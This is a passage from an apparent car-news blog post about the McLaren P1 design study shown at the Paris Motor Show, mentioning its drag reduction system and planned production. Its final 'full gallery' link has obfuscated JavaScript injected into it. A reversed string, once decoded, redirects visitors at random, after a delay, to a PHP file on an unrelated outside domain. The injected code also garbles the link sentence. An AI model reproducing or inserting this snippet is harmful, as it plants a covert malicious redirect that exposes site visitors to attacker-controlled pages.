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Like its F1 counterpart, the P1 also uses a drag reduction system (MP4-12C GT3), whereby downforce is reduced and straightline speed enhanced when a moveable flap in the rear wing is adjusted whilst in motion.
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If you’re already rifling through your wallet for some spare change, you will be pleased to learn that McLaren will put the new P1 into production within the next 12 months. Whether it will be identical to these images remains to be seen though, since the model on display at the Paris Motor Show is a design study rather than the full monty finished product.
– Be sure to check out the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/01/mclaren-p1/” target=”_blank”>full gallery HERE.
